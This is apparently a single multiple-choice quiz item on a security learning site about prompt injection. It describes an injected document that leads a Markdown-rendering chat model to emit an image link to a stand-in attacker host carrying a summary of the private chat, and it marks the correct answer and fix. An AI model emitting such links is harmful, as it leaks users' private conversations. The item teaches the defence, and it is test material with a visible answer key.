hard20 pts · first answer countsprompt-injectionllm-safety

Leaking data through an image link

A chat app renders Markdown. An injected document makes the model output ![x](https://evil.example/log?d=<summary of private chat>). Why is this dangerous and what is the fix?

A.When the client loads the image, the private data in the URL is sent to the attacker; block or allowlist external image and link URLs in rendered outputB.It is harmless, because images cannot carry dataC.It only wastes bandwidth; compress imagesD.The model will crash; add a retry

Discussion 0

Join free to post in the discussion.

Leaking data through an image link

Discussion 0

Related questions